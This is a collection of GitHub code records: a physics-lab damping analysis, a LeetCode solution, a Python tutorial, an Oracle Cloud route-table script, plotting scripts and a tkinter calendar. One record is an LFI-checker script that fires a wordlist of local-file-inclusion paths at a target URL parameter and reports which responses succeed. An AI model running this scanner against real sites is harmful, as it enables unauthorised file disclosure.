range(len(U)-1):\n if U[i]>0 and U[i+1]<0:\n zeros.append((t[i],U[i],i))\n elif U[i]<0 and U[i+1]>0:\n zeros.append((t[i],U[i],i))\n elif U[i]==0 and U[i-1] and i>0:\n zeros.append((t[i],U[i],i))\n #don't bother with this stuff\n if index_output==False:\n return zeros\n else:\n index=[]\n for x in zeros:\n index.append((x[2],x[2]+1))\n return index \n\ndef daempfung (datei=\"19,6\", eU_stat=0.004, figure=6):\n\n sig_U_stat = eU_stat\n sig_t_diff = 0.0001\n delta_peaks = []\n sig_delta_peaks = []\n delta_fit = []\n sig_delta_fit_stat = []\n sig_delta_fit_sys = []\n \n # Alle 5 Messungen zu einem Widerstand durchgehen\n for i in range(5):\n data = p.lese_lab_datei(\"lab/{:s}Ohm/messung{:1d}.lab\".format(datei, i+1))\n t = data[:,1]\n U = data[:,3]\n \n \n sig_U_sys = 0.01*U + 0.005*10\n \n \n zeros = get_zeros(t, U, index_output=False)\n peaks = []\n index = []\n \n \n for n in range(len(zeros)-1):\n peaks.append(p.peak(t, U, zeros[n][0], zeros[n+1][0]))\n for peak in peaks:\n indx = find_nearest(t, peak)\n if (np.abs(U[indx]) > 0.03*np.mean(U[0:5])):\n index.append(indx)\n index = np.array(index)\n peaks = []\n \n # Offset korrigieren\n offset_U = np.mean(U[-U.size/8:])\n U = U - offset_U\n \n # Betrag der Spannung für Amplitudenbestimmung\n absU = np.abs(U)\n \n \n # peaks[i] liefert t und absU des i-ten Peaks\n for a in index:\n peaks.append(np.array([t[a], absU[a]]))\n \n \n # Delta direkt ausrechnen\n delta_peaks_temp = []\n sig_delta_temp = []\n for x in range(len(peaks)-1):\n y = peaks[x][1]/peaks[x+1][1]\n diff_t = (peaks[x+1][0]-peaks[x][0])\n delta_peaks_temp.append( np.log(y) /diff_t )\n sig_delta_temp.append(delta_peaks_temp[-1] * np.sqrt( sig_U_stat**2 *( (1/peaks[x][1]+1/peaks[x+1][1])/(y*np.log(y)))**2 + sig_t_diff**2/diff_t**2 ))\n \n delta_peaks_temp = np.array(delta_peaks_temp)\n sig_delta_temp = np.array(sig_delta_temp)\n if (figure <= 10):\n delta_peaks_temp, sig_delta_temp = p.gewichtetes_mittel(delta_peaks_temp, sig_delta_temp)\n \n delta_peaks.append(delta_peaks_temp)\n sig_delta_peaks.append(sig_delta_temp)\n \n \n \n # Delta durch fit ausrechnen\n \n if (index.size>1): \n \n a, ea, b, eb, chi2, cov = p.lineare_regression(t[index], np.log(absU[index]), sig_U_stat/U[index])\n delta_fit.append(-a)\n sig_delta_fit_stat.append(ea)\n \n if (i == 2 and datei == \"19,6\"):\n \n # Lin Reg\n plt.figure(20)\n plt.subplot2grid((7,1),(0,0), rowspan=4)\n plt.errorbar(t[index], np.log(absU[index]), sig_U_stat/U[index], fmt = \".\")\n plt.plot(t[index], a*t[index]+b)\n plt.ylabel(\"ln ($U / U_0$) \")\n ndof = index.size-2\n plt.figtext(0.6, 0.7, \"m = {:3.2f} $\\pm$ {:3.2f} 1/s\\n b = {:2.3f} $\\pm$ {:2.3f} \\n $\\chi^2$/ndof = {:3.1f}\".format(a, ea, b, eb, chi2/ndof))\n # Residuen\n plt.subplot2grid((7,1),(-2,0), rowspan=2)\n plt.errorbar(t[index], np.log(absU[index])-a*t[index]-b, yerr=sig_U_stat/U[index], fmt = \".\")\n plt.axhline(linestyle=\"dashed\")\n plt.ylabel(\"Residuen\")\n plt.xlabel(\"t [s]\")\n \n \n # Plot Ergebnis\n plt.figure(21)\n plt.plot(t, U)\n plt.xlabel(\"t (s)\")\n plt.ylabel(\"U (V)\")\n \n x = np.arange(0, 0.0205, 0.0005)\n y = np.exp(b)*np.exp(a*x)\n plt.plot(x, y, color=\"red\")\n plt.plot(x, -y, color=\"red\")\n\n \n # Verschiebemethode\n a1, ea1, b1, eb1, chi2, cov = p.lineare_regression(t[index], np.log(absU[index])-sig_U_sys[index]/absU[index], sig_U_stat/U[index])\n a2, ea2, b2, eb2, chi2, cov = p.lineare_regression(t[index], np.log(absU[index])+sig_U_sys[index]/absU[index], sig_U_stat/U[index])\n \n sig_delta_fit_sys.append((np.abs(a1-a)+np.abs(a2-a))/2)\n \n \n \n if (index.size>1):\n delta_peaks = np.array(delta_peaks)\n sig_delta_peaks = np.array(sig_delta_peaks)\n \n \n \n delta_fit = np.array(delta_fit)\n sig_delta_fit_stat = np.array(sig_delta_fit_stat)\n sig_delta_fit_sys = np.array(sig_delta_fit_sys)\n \n print(\"Widerstand {:s}\".format(datei))\n for i in range(len(delta_peaks)):\n print(\"{:1d} & {:4.1f} $\\pm$ {:2.1f} & {:4.1f} $\\pm$ {:2.1f} $\\pm$ {:2.1f}\".format(i+1, delta_peaks[i], sig_delta_peaks[i], delta_fit[i], sig_delta_fit_stat[i], sig_delta_fit_sys[i]))\n #sig_delta_fit_sys = np.mean(sig_delta_fit_sys)\n #delta_peaks, sig_delta_peaks = p.gewichtetes_mittel(delta_peaks, sig_delta_peaks)\n #delta_fit, sig_delta_fit_stat = p.gewichtetes_mittel(delta_fit, sig_delta_fit_stat)\n if (datei == \"19,6\"):\n delta2, sig_delta2 = p.gewichtetes_mittel (delta_fit[:-1], sig_delta_fit_stat[:-1])\n else:\n delta2, sig_delta2 = p.gewichtetes_mittel (delta_fit, sig_delta_fit_stat)\n delta1, sig_delta1 = p.gewichtetes_mittel (delta_peaks, sig_delta_peaks)\n \n delta, sig_delta = p.gewichtetes_mittel(np.array([delta1, delta2]), np.array([sig_delta1, sig_delta2]))\n \n \n \n print(delta1, delta2)\n print (delta, sig_delta)\n #return (delta_peaks, sig_delta_peaks, delta_fit, sig_delta_fit_stat, sig_delta_fit_sys)\n return (delta, sig_delta)\n else:\n return (None, None)\n \n \n \n \n\n\n \nOrdnernamen = np.array([\"19,6\", \"28,5\", \"38,9\", \"52,2\", \"68,6\", \"90,0\", \"112,0\", \"130\", \"140\", \"150\", \"200\"])\n\n\n\n\n# Delta bekommen\ndelta_peaks = []\nsig_delta_peaks = []\ndelta_fit = []\nsig_delta_fit_stat = []\nsig_delta_fit_sys = []\n\n\ndelta = []\nsig_delta = []\nfor i in range(Ordnernamen.size):\n temp1, temp2 = daempfung(datei=Ordnernamen[i], figure = 6+i)\n if (temp1):\n #delta_peaks.append(temp1)\n #sig_delta_peaks.append(temp2)\n #delta_fit.append(temp3)\n #sig_delta_fit_stat.append(temp4)\n #sig_delta_fit_sys.append(temp5)\n \n delta.append(temp1)\n sig_delta.append(temp2)\n\n#delta_peaks = np.array(delta_peaks)\n#sig_delta_peaks = np.array(sig_delta_peaks)\n#\n#delta = []\n#sig_delta = []\n#for i in range(5):\n# temp1, temp2 = p.gewichtetes_mittel(np.array([delta_fit[i], delta_peaks[i]]), np.array([sig_delta_fit_sys[i], sig_delta_peaks[i]]))\n# delta.append(temp1)\n# sig_delta.append(temp2)\n#\ndelta = np.array(delta)\nsig_delta = np.array(sig_delta)\n\n\nR = np.array([19.6, 28.5, 38.9, 52.2, 68.6])\nsig_R_stat = np.full(5, 0.2/np.sqrt(12))\n\n# Lin Reg für L und R\na, ea, b, eb, chi2, cov = p.lineare_regression_xy(delta, R, sig_delta, sig_R_stat)\nndof=len(delta)-2\n\nplt.figure(17)\nplt.subplot2grid((6,1),(0,0), rowspan=4)\nplt.errorbar(delta, R, xerr=sig_delta, yerr=sig_R_stat, fmt=\".\")\nx = np.array([delta[0]*0.90, delta[-1]*1.06])\nplt.xlim(x)\ny = a*x+b\nplt.plot(x, y)\n#plt.xlabel(\"$\\delta$ [1/s]\")\nplt.ylabel(\"R [$\\Omega$]\")\nplt.figtext(0.15, 0.7, \"m = {:2.3f}$\\pm${:2.3f}[H]\\nb = {:2.2f}$\\pm${:2.2f}[$\\Omega$]\\n$\\chi^2$/ndof = {:2.2f}\".format(a, ea, b, eb, chi2/ndof))\n\n# Residuen\nplt.subplot2grid((6,1),(-2,0), rowspan=2)\ny = R-a*delta - b\nplt.errorbar(delta, y, yerr = np.sqrt(sig_delta**2* a**2 + sig_R_stat**2), fmt=\".\")\nplt.xlim(x)\nplt.axhline(linestyle=\"dashed\")\nplt.ylabel(\"Residuen [$\\Omega$]\")\nplt.xlabel(\"delta [1/s]\")\n\n\nL = 1000*a/2\nsig_L = 1000*ea/2\n\nR_rest = -b\nsig_R_rest = eb\n\n\n\n# Kondensator berechnen\nomega = np.array([381.85, 377.29, 373.66, 363.64, 349.12])*2*np.pi\nsig_omega = np.array([2.15, 4.90, 3.4, 2.63, 4.15])*2*np.pi\n\nsq_omega = omega**2\nsig_sq_omega = 2*omega*sig_omega\nsq_delta = delta**2\nsig_sq_delta = 2*delta*sig_delta\n\n# Lineare Regression mit Steigung -1 festgelegt\nb, eb, chi2 = p.lineare_regression_y_achsenabschnitt_xy(sq_delta, sq_omega, sig_sq_delta, sig_sq_omega)\n\nC = 1000/(b*L)\nsig_C=C*np.sqrt( (eb/b)**2 + (sig_L/L)**2 )\n\n# Plot\nplt.figure(25)\nplt.subplot2grid((6,1),(0,0), rowspan=4)\nplt.errorbar(sq_delta, sq_omega, xerr=sig_sq_delta, yerr=sig_sq_omega, fmt=\".\")\nplt.plot(sq_delta, b-sq_delta)\nplt.ylabel(\"$\\omega ^2 [1/s^2]$\")\n\n# Residuen\nplt.subplot2grid((6,1),(-2,0), rowspan=2)\nplt.errorbar(sq_delta, sq_omega+sq_delta-b, yerr= np.sqrt(sig_sq_delta**2 + sig_sq_omega**2), fmt=\".\")\nplt.axhline(linestyle=\"dashed\")\nplt.ylabel(\"Residuen [$1/s^2$]\")\nplt.xlabel(\"$\\delta ^2 [1/s^2]$\")\nplt.figtext(0.55, 0.75, \"y = ({:7.0f}$\\pm${:5.0f}) $1/s^2$\\n $\\chi ^2$/ndof = {:1.2f}\".format(b, eb, chi2/4))\n","repo_name":"thewhitecat/grundpraktikum1","sub_path":"Elektronik/Python/LC_dämpfung.py","file_name":"LC_dämpfung.py","file_ext":"py","file_size_in_byte":9579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37150963877","text":"# 349. Intersection of Two Arrays\n\n# Given two integer arrays nums1 and nums2, return an array of their intersection. Each element in the result must be unique and you may return the result in any order.\n\n# Example 1:\n# Input: nums1 = [1, 2, 2, 1], nums2 = [2, 2]\n# Output: [2]\n\n# Example 2:\n# Input: nums1 = [4, 9, 5], nums2 = [9, 4, 9, 8, 4]\n# Output: [9, 4]\n# Explanation: [4, 9] is also accepted.\n\n\nclass Solution(object):\n def intersection(self, nums1, nums2):\n dic = {}\n\n for val in nums1:\n if not val in dic:\n dic[val] = 1\n\n rs = []\n for val in nums2:\n if val in dic:\n rs.append(val)\n del dic[val]\n\n return rs\n","repo_name":"hoang2109/leetcode-practice","sub_path":"Map/349.py","file_name":"349.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31623952774","text":"# wk4\n\n\n#loops\n#iterations!\n\n\n# while loop\nx = 0 # Setup a variable to use for the conditional\n\nwhile x <= 10: # Continue looping until x is greater than 10\n print(x) # Print the current iterations value of x\n x += 1 # Inrement x by 1 (add 1 to the current value of x)\n\nprint(\"loop Finished\") # This will execute after the loop since it's at a lower indentation level\n\n\n\n#for loop\nshopping_list = [\"Eggs\", \"Ham\", \"Milk\"]\n\nfor z in shopping_list: # Iterate through the shopping list\n print(z) # Print the item at the current iteration\n\n\n\n#break loop\ngreeting = \"Hello-World\" # Setting up a string to iterate through\n\nfor character in greeting: # Iterate over the string one letter at a time\n if \"-\" in character: # if the current character is a hyphen\n print(\"Hyphen detected, ending loop!\")\n break # End the loop\n else:\n print(character) # Print the current character\n\nprint(\"loop has exited\")\n\n\n\n#continue - see below - this is a bad example to use\nx = 0 # Initialize a variable to use in the condition\n\nwhile x < 10:\n x += 1\n if ((x % 2) == 0): # If the number is even - also here we have another condition we have extra indent\n print(x) #this print belongs to the if condition - double indent\n\n else: # If the number is odd\n print(str(x) + \" not an even number\")\n continue # Go to next iteration - see below\n #actually from class 'continue' is not needed here for this to work - bad example - but you get the idea!\n\n\n\n\nprint(\"loop tricks and techniques\")\n\n#avoid infinate loops!\n#stop with ctrl c\n\n\n#loop nesting\n#note here 3 lists in a list - can be used for dictionaries tupes etc\n# an array within another array\nshopping_lists = [[\"Eggs\", \"Milk\", \"Ham\"], \n [\"Vinegar\", \"Mustard\", \"Ketchup\"], \n [\"Burgers\", \"Lettuce\", \"Mayo\"]]\n\nfor current_list in shopping_lists: # Steps through the list of lists\n for item in current_list: # Steps through each list\n print(item) # Prints the item in the current shopping list\n\n\n#USING LOOPS FOR VALIDATION\n#using a loop to validate input from a user\nwhile True: # This is an infinite loop\n number = int(input(\"Please type a number between 1 and 10: \")) # Take user input\n\n if number < 1: # Number is too small\n print(\"Number provided is less than 1\")\n\n elif number > 10: # Number is too large\n print(\"Number provided is greater than 10\")\n\n else: # If the input is in a valid range\n print(\"number is between 1and10\")\n break # End the loop\n\n\n\n#FOR LOOPS OVER A SET RANGE range() function takes two arguments\nfor number in range(5,11): # prints 5 to 10 - wont include 11\n print(number)\n# also\nfor w in range(3):\n print(w)\n\n\n\n\n\n#NEW TOPIC - FUNCTIONS\n#see notes for defn and main uses\n\n\n# Gameloop #this will not run - only an example\n# while turns < 100: # Game goes until 100 score\n# player_move(player_one) # Player one's move\n# player_move(player_two) # Player two's move\n# turns += 1\n\n# if player_one.score > player_two.score:\n# print(\"Player One Wins!\")\n# elif player_one.score < player_two.score:\n# print(\"Player Two Wins!\")\n\n\n\ndef sum(num_1, num_2): #arguments\n \"\"\"\n Takes two variables (int's or floats), and (# this is docstrings)\n adds them together, then returns the result\n \"\"\"\n result = num_1 + num_2 #function body - with optional return statement\n return result\n\nprint (sum(1,456))\n\n\n\n\"\"\"\nSee notes re Functions - Variable scope very important\n\"\"\"\n\n\n\n\n\ndef greet(name=\"John doe\", greeting=\"Hello there: \"):\n \"\"\"Greets a person with the greeting and their name\n\n Parameters\n ----------\n name: (str)\n The name to greet by.\n greeting: (str)\n The greeting to greet by.\n \"\"\"\n print(greeting, name)\n\ngreet()\ngreet(name = \"Kieran Wood\") # Prints: Hello there: Kieran Wood\ngreet(greeting = \"How it be: \") # Prints\ngreet(greeting = \"hi there \",name =\"paddy\")\ngreet(name=\"paddy\",greeting=\"hi there \") # note same order as function\n\n\n\n\n","repo_name":"PadraicM71/OO-Class-2","sub_path":"wk4.py","file_name":"wk4.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40972958999","text":"import os.path\nimport sys\nfrom tabulate import tabulate\nfrom time import sleep\n\n# required DKC modules\nfrom lib.general import copywrite\nfrom lib.compartments import GetParentCompartments\nfrom lib.compartments import GetChildCompartments\nfrom lib.general import get_regions\nfrom lib.routetables import add_route_table\nfrom lib.routetables import GetRouteTable\nfrom lib.vcns import GetVirtualCloudNetworks\n\n# required OCI modules\nfrom oci.config import from_file\nfrom oci.identity import IdentityClient\nfrom oci.core import VirtualNetworkClient\n\n\nif len(sys.argv) < 6 or len(sys.argv) > 7:\n print(\n \"\\n\\nOci-GetRouteTable.py : Correct Usage\\n\\n\" +\n \"Oci-GetRouteTable.py [parent compartment] [child compartment] [virtual cloud network] \" +\n \"[route table name] [region] [optional argument]\\n\\n\" +\n \"Use case example 1 displays all route table resources within the virtual cloud network.\\n\"\n \"\\tOci-GetRouteTable.py admin_comp web_comp web_vcn list_all_route_tables 'us-ashburn-1'\\n\\n\"\n \"Use case example 2 displays the route table resource details.\\n\\n\" +\n \"\\tOci-GetRouteTable.py admin_comp web_comp web_vcn web_rtb 'us-ashburn-1'\\n\\n\" +\n \"Please see the online documentation at the David Kent Consulting GitHub repository for more information.\\n\\n\"\n )\n raise RuntimeError(\"EXCEPTION! - Incorrect usage\\n\")\n\nif len(sys.argv) == 7:\n option = sys.argv[6].upper()\nelse:\n option = [] # required for logic to work\nif option != \"--JSON\":\n copywrite()\n sleep(2)\n\nparent_compartment_name = sys.argv[1]\nchild_compartment_name = sys.argv[2]\nvirtual_cloud_network_name = sys.argv[3]\nroute_table_name = sys.argv[4]\nregion = sys.argv[5]\n\n# instiate the environment and validate that the specified region exists\nconfig = from_file() # gets ~./.oci/config and reads to the object\nidentity_client = IdentityClient(config)\nregions = get_regions(identity_client)\ncorrect_region = False\nfor rg in regions:\n if rg.name == region:\n correct_region = True\nif not correct_region:\n print(\"\\n\\nWARNING! - Region {} does not exist in OCI. Please try again with a correct region.\\n\\n\".format(\n region\n ))\n raise RuntimeWarning(\"WARNING! INVALID REGION\")\n\nconfig[\"region\"] = region # Must set the cloud region\nidentity_client = IdentityClient(config) # builds the identity client method, required to manage compartments\nnetwork_client = VirtualNetworkClient(config) # builds the network client method, required to manage network resources\n\n# Get the parent compartment\nparent_compartments = GetParentCompartments(parent_compartment_name, config, identity_client)\nparent_compartments.populate_compartments()\nparent_compartment = parent_compartments.return_parent_compartment()\nif parent_compartment is None:\n print(\n \"\\n\\nWARNING! - Parent compartment {} not found in tenancy {}.\\n\".format(\n parent_compartment_name,\n config[\"tenancy\"] +\n \"Please try again with a correct compartment name.\\n\\n\"\n )\n )\n raise RuntimeWarning(\"WARNING! - Compartment not found\\n\")\n\n# get the child compartment\nchild_compartments = GetChildCompartments(\n parent_compartment.id,\n child_compartment_name,\n identity_client)\nchild_compartments.populate_compartments()\nchild_compartment = child_compartments.return_child_compartment()\nif child_compartment is None:\n print(\n \"\\n\\nWARNING! - Child compartment {} not found in parent compartment {}\\n\".format(\n child_compartment_name,\n parent_compartment_name\n ) +\n \"Please try again with a correct compartment name.\\n\\n\"\n )\n raise RuntimeWarning(\"WARNING! - Compartment not found\\n\")\n\n# Get the VCN resource\nvirtual_cloud_networks = GetVirtualCloudNetworks(\n network_client,\n child_compartment.id,\n virtual_cloud_network_name)\nvirtual_cloud_networks.populate_virtual_cloud_networks()\nvirtual_cloud_network = virtual_cloud_networks.return_virtual_cloud_network()\nif virtual_cloud_network is None:\n print(\n \"\\n\\nWARNING! - Virtual cloud network {} not found in child compartment {}.\\n\".format(\n virtual_cloud_network_name,\n child_compartment_name\n ) +\n \"Please try again with a correct virtual cloud network name.\\n\\n\"\n )\n raise RuntimeWarning(\"WARNING! - Virtual cloud network not found\\n\")\n\n# Check to see if the route table exists\nroute_tables = GetRouteTable(\n network_client,\n child_compartment.id,\n virtual_cloud_network.id,\n route_table_name\n)\nroute_tables.populate_route_tables()\nroute_table = route_tables.return_route_table()\n\n# run through the logic\nif route_table_name.upper() == \"LIST_ALL_ROUTE_TABLES\":\n\n header = [\n \"COMPARTMENT\",\n \"VCN\",\n \"ROUTE TABLE\",\n \"LIFECYCLE STATE\",\n \"REGION\"\n ]\n data_rows = []\n if route_tables.return_all_route_tables() is not None:\n for rtb in route_tables.return_all_route_tables():\n data_row = [\n child_compartment_name,\n rtb.display_name,\n rtb.lifecycle_state,\n region\n ]\n data_rows.append(data_row)\n print(tabulate(data_rows, headers = header, tablefmt = \"grid\"))\n\nelif route_table is None:\n print(\n \"\\n\\nWARNING! - Route table {} not found within child compartment {}\\n\".format(\n route_table_name,\n child_compartment_name\n ) +\n \"Please try again with a correct route table name.\\n\\n\"\n )\n raise RuntimeWarning(\"WARNING! - Route table not found\\n\")\nelif option == \"--OCID\":\n print(route_table.id)\nelif option == \"--NAME\":\n print(route_table.display_name)\nelif option == \"--ROUTE-RULES\":\n print(route_table.route_rules)\nelif option == \"--LIFECYCLE-STATE\":\n print(route_table.lifecycle_state)\nelif len(option) == 0:\n\n header = [\n \"COMPARTMENT\",\n \"ROUTE TABLE\",\n \"LIFECYCLE STATE\",\n \"REGION\"\n ]\n data_rows = [[\n child_compartment_name,\n route_table.display_name,\n route_table.lifecycle_state,\n region\n ]]\n print(tabulate(data_rows, headers = header, tablefmt = \"simple\"))\n print(\"\\nROUTE TABLE ID :\\t\" + route_table.id + \"\\n\")\n print(\"\\nROUTE RULES:\\n\")\n header = [\n \"DESTINATION\",\n \"DESTINATION TYPE\",\n \"RULE DESCRIPTION\"\n ]\n data_rows = []\n for rule in route_table.route_rules:\n data_row = [\n rule.destination,\n rule.destination_type,\n rule.description\n ]\n data_rows.append(data_row)\n print(tabulate(data_rows, headers = header, tablefmt = \"grid\"))\n\nelif option == \"--JSON\":\n print(route_table)\n\nelse:\n print(\n \"\\n\\nInvalid option. Valid options are:\\n\" +\n \"\\t--ocid\\t\\t\\tPrints the OCID of the route table resource\\n\" +\n \"\\t--name\\t\\t\\tPrints the name of the route table resource\\n\" +\n \"\\t--route-rules\\t\\tPrints the defined route rules of the route table resource\\n\" +\n \"\\t--lifecycle-state\\tPrints the lifecycle state of the route table resource\\n\" +\n \"\\t--json\\t\\t\\tPrints all resource data in JSON format and surpresses other output\\n\\n\" +\n \"Please try again with the correct options.\\n\\n\"\n )\n raise RuntimeWarning(\"WARNING! - Incorrect option\\n\")","repo_name":"David-Kent-Consulting/OCI_ExpressUtils_version_2","sub_path":"master/dev/Oci-GetRouteTable.py","file_name":"Oci-GetRouteTable.py","file_ext":"py","file_size_in_byte":7380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39537069117","text":"import h5py\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ninj = h5py.File('./unlens/injection.hdf')\r\nun_snr = h5py.File('./unlens/snrs.hdf')\r\nsnr = h5py.File('./lens/snrs.hdf')\r\n\r\ncoa_phase = np.array(inj.get('coa_phase'))\r\ndec = np.array(inj.get('dec'))\r\ndistance = np.array(inj.get('distance'))\r\ninclination = np.array(inj.get('inclination'))\r\npolarization = np.array(inj.get('polarization'))\r\nra = np.array(inj.get('ra'))\r\nsnrs = np.array(snr.get('snrs'))\r\nsnrs1 = np.array(snr.get('snrs1'))\r\nsnrs2 = np.array(snr.get('snrs2'))\r\nunsnrs = np.array(un_snr.get('snrs'))\r\n\r\nfig, axes = plt.subplots(nrows=2, ncols=3, figsize=[9.5, 6], dpi=500)\r\n\r\nax5, ax6, ax7, ax8, ax9, ax10 = axes.flat\r\n\r\nax5.scatter(distance, unsnrs)\r\nax5.scatter(distance, snrs)\r\nax5.scatter(distance, snrs1)\r\nax5.scatter(distance, snrs2)\r\nax5.set_yscale('log')\r\nax5.set_xscale('log')\r\n\r\nax6.scatter(inclination, unsnrs)\r\nax6.scatter(inclination, snrs)\r\nax6.scatter(inclination, snrs1)\r\nax6.scatter(inclination, snrs2)\r\nax6.set_yscale('log')\r\n\r\nax7.scatter(ra, unsnrs)\r\nax7.scatter(ra, snrs)\r\nax7.scatter(ra, snrs1)\r\nax7.scatter(ra, snrs2)\r\nax7.set_yscale('log')\r\n\r\nax8.scatter(dec, unsnrs)\r\nax8.scatter(dec, snrs)\r\nax8.scatter(dec, snrs1)\r\nax8.scatter(dec, snrs2)\r\nax8.set_yscale('log')\r\n\r\nax9.scatter(polarization, unsnrs)\r\nax9.scatter(polarization, snrs)\r\nax9.scatter(polarization, snrs1)\r\nax9.scatter(polarization, snrs2)\r\nax9.set_yscale('log')\r\n\r\nax10.scatter(coa_phase, unsnrs)\r\nax10.scatter(coa_phase, snrs)\r\nax10.scatter(coa_phase, snrs1)\r\nax10.scatter(coa_phase, snrs2)\r\nax10.set_yscale('log')\r\n\r\nax5.set_title('distance')\r\nax6.set_title('inclination')\r\nax7.set_title('ra')\r\nax8.set_title('dec')\r\nax9.set_title('polarization')\r\nax10.set_title('coa_phase')\r\n\r\nplt.tight_layout()\r\nplt.savefig('snr-evol-lens.pdf')","repo_name":"SSingh087/Prospects-of-LGWs","sub_path":"SNR_comp.py","file_name":"SNR_comp.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1508410076","text":"import tkinter as tk\nimport calendar as c\nfrom tkinter import ttk \n\n\nroot = tk.Tk()\nroot.title(\"CALENDARIO GUI\")\nframe=tk.Frame(root)\nroot.config(bg=\"black\")\nframe.config(bg=\"black\")\nanio=2020\na=tk.StringVar()\ncalendar_anio = c.calendar(anio)\n\ndef Prev():\n global anio\n anio-=1\n calendar_anio = c.calendar(anio)\n a.set(calendar_anio)\ndef Next():\n global anio\n anio+=1\n calendar_anio = c.calendar(anio)\n a.set(calendar_anio)\n\na.set(calendar_anio)\n\nbtn_Prev=tk.Button(frame,text=\"<\",\nbg=\"black\",fg=\"white\",command=Prev).grid(row=0,column=0,padx=10,pady=10)\nbtn_Next=tk.Button(frame,text=\">\",bg=\"black\",fg=\"white\",command=Next).grid(row=0,column=1,padx=10,pady=10)\n\nframe.pack()\ncalendar_anios = tk.Label(root,textvariable=a,bg=\"black\",fg=\"white\",\njustify=tk.LEFT,font=\"Arial 9\").pack()\nroot.mainloop()","repo_name":"backup-python-dev/CalendarGUI","sub_path":"CalendarioGUI.py","file_name":"CalendarioGUI.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"2725008309","text":"#encoding: utf-8\r\nimport requests, sys, os\r\n\r\nclass bcolors:\r\n\tHEADER = '\\033[95m'\r\n\tOKBLUE = '\\033[94m'\r\n\tOKCYAN = '\\033[96m'\r\n\tOKGREEN = '\\033[92m'\r\n\tWARNING = '\\033[93m'\r\n\tFAIL = '\\033[91m'\r\n\tENDC = '\\033[0m'\r\n\tBOLD = '\\033[1m'\r\n\tUNDERLINE = '\\033[4m'\r\n\r\ndef loops(lfi_list, error, url):\r\n\tfor lista in lfi_list.readlines():\r\n\t\tlista = url + lista.rstrip('\\n')\r\n\t\tr = requests.get(lista)\r\n\t\tif error in str(r.text):\r\n\t\t\tprint(bcolors.FAIL + f\"\\r[{r.status_code}] \" + lista + bcolors.ENDC, end='\\r')\r\n\t\telse:\r\n\t\t\tprint(bcolors.OKGREEN + f\"[{r.status_code}] \" + lista + bcolors.ENDC)\r\n\r\ndef selec(wordlist, error, url):\r\n\tif wordlist.lower() == 's':\r\n\t\tlfi_list = open(\"list_normal.txt\", \"r+\")\r\n\telif wordlist.lower() == 'b':\r\n\t\tlfi_list = open(\"list_bigger.txt\", \"r+\")\r\n\telif wordlist.lower() == 'c':\r\n\t\tchoose_list = input(\"Choose the list: \")\r\n\t\tlfi_list = open(f\"{choose_list}\", \"r+\")\r\n\telse:\r\n\t\tprint(\"Not a valid option\")\r\n\tloops(lfi_list, error, url)\r\n\r\ndef inputs():\r\n\turl = input(f\"{bcolors.OKGREEN}Select the URL must be like this (https://example.com/index.php?page=):{bcolors.ENDC} \")\r\n\twordlist = input(f\"{bcolors.OKGREEN}Select S for a smaller list or B for a bigger list (or C to choose your own wordlist):{bcolors.ENDC} \")\r\n\terror = input(f\"{bcolors.OKGREEN}Input the error that you receive:{bcolors.ENDC} \")\r\n\tprint(\"\\n\")\r\n\tselec(wordlist, error, url)\r\n\r\ndef msgload():\r\n\tclear()\r\n\tprint(\"\"\"\r\n __ ___ __ __ __ \r\n| .' _|__.----| |--.-----.----| |--.-----.----.\r\n| | _| | __| | -__| __| <| -__| _|\r\n|__|__| |__|____|__|__|_____|____|__|__|_____|__| \r\n\t\"\"\")\r\n\r\n\tprint(f\"{bcolors.OKGREEN}Made by horizon.sh{bcolors.ENDC}\")\r\n\tprint(\"\\n[!] legal disclaimer: Usage of LFIchecker for attacking targets without prior mutual consent is illegal. The developer assumes no liability and is not responsible for any misuse or damage caused by this program.\")\r\n\tinputs()\r\n\r\ndef clear():\r\n os.system('cls|clear')\r\n\r\ntry:\r\n\tmsgload()\r\nexcept (KeyboardInterrupt):\r\n\tprint(f'{bcolors.WARNING} \\n[QUIT] You quit this session {bcolors.ENDC}')\r\nexcept (Exception) as e:\r\n\tprint(f'{bcolors.FAIL} \\n[ERROR] An error has occured {bcolors.ENDC} \\n\\n {e}')\r\n","repo_name":"matthew956/Lfi-Checker","sub_path":"lfi.py","file_name":"lfi.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33556722987","text":"import cv2\nimport numpy as np\n\ndef calibrate(image):\n\tpass\n\ndef undistort(image, objpoints, imgpoints):\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\tret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None, None)\n\treturn cv2.undistort(image, mtx, dist, None, mtx)\n\t\n\ndef perspectiveTransform(image):\n\tpass\n\ndef advanced_lane(image):\n\tpass\n\n\ndef abs_sobel_thresh(img, orient='x', thresh_min=0, thresh_max=255):\n \n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # 2) Take the derivative in x or y given orient = 'x' or 'y'\n if orient == 'x':\n sobel = cv2.Sobel(gray, cv2.CV_64F, 1, 0)\n elif orient == 'y':\n sobel = cv2.Sobel(gray, cv2.CV_64F, 0, 1)\n \n \n # 3) Take the absolute value of the derivative or gradient\n abs_sobel = np.absolute(sobel)\n # 4) Scale to 8-bit (0 - 255) then convert to type = np.uint8\n abs_sobel_scaled = np.uint8(255 * abs_sobel / np.max(abs_sobel))\n # 5) Create a mask of 1's where the scaled gradient magnitude \n # is > thresh_min and < thresh_max\n c = np.zeros_like(img)\n thresh_min = 20\n thresh_max = 100\n c[(abs_sobel_scaled >= thresh_min) & (abs_sobel_scaled <= thresh_max)] = 1\n # 6) Return this mask as your binary_output image\n binary_output = c\n return binary_output\n\ndef mag_thresh(img, 